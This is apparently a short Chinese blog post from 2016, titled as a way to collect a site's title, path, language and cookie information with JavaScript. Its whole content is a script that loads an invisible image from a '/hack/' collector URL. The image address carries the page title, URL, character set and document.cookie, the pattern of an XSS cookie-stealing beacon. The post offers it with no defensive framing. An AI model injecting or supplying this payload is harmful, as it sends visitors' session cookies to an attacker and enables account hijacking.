js获取网站标题路径语言cookie信息

发布时间:2016-04-20 14:22:52编辑:丝画阁阅读(696)

  <script type="text/javascript">
    var c = 'kc4Wo';
    var u = 'http://localhost/hack/';
    var cr;
    if (document.charset) {
      cr = document.charset
    } else if (document.characterSet) {
      cr = document.characterSet
    };
    var x = new Image();
    x.src = '' + u + '?cc=' + c + '&t=' + document.title + '&u=' + escape(document.URL) + '&cr=' + cr + '&co=' + escape(document.cookie);
  </script>

关键字